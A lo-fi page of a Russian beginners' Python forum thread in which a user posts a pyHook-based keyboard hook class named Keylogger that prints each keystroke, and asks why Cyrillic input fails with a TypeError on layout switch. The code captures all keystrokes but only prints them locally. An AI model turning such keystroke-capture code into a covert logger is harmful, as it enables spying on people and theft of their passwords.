Найти - Пользователи
Полная версия: Русский язык event.Ascii
Начало » Python для новичков » Русский язык event.Ascii
1
qsl
Всем привет. Ребята, помогите разобраться. В инете похожих вопросов много, ответа не нашел.

Почему не выводит русский? Только анг пишет в консоле и если нажимать на смену языка, ошибка

Помогите советом

Traceback (most recent call last):
File "C:\Python27\lib\site-packa
func = self.keyboard_funcs.get
TypeError: an integer is required

# -*- coding: utf-8 -*-

import threading
import pythoncom
import pyHook

def keypressed(event):

keys = chr(event.Ascii).decode('utf-8')
print keys



class Keylogger(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.event = threading.Event()

def run(self):
obj = pyHook.HookManager()
obj.KeyDown = keypressed
obj.HookKeyboard()
pythoncom.PumpMessages()

k = Keylogger()
k.run()
ZerG
ЛОг покажите? Тут далеко не у всех виндовс.
qsl
Извините за нубство(( Где этот лог смотреть?

Я запускаю для теста в консоле

python .\test.py

и мне идет вывод. Если нажимаю на анг то выводит. Меняю раскладку:

Traceback (most recent call last):
File "C:\Python27\lib\site-packa
func = self.keyboard_funcs.get
TypeError: an integer is required

и стоит русс и выводит всё равно анг буквы
qsl
Вот похожая тема

_http://www.cyberforum.ru/python/thread1513033.html
qsl
Не могу разобраться… В инете куча таких тем. и нет ответа( Не понятно в чем дело.

keys = event.Ascii
print keys

не выводим русские символы и все. Только анг и как заставить выводить не понятно
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
Powered by DjangoBB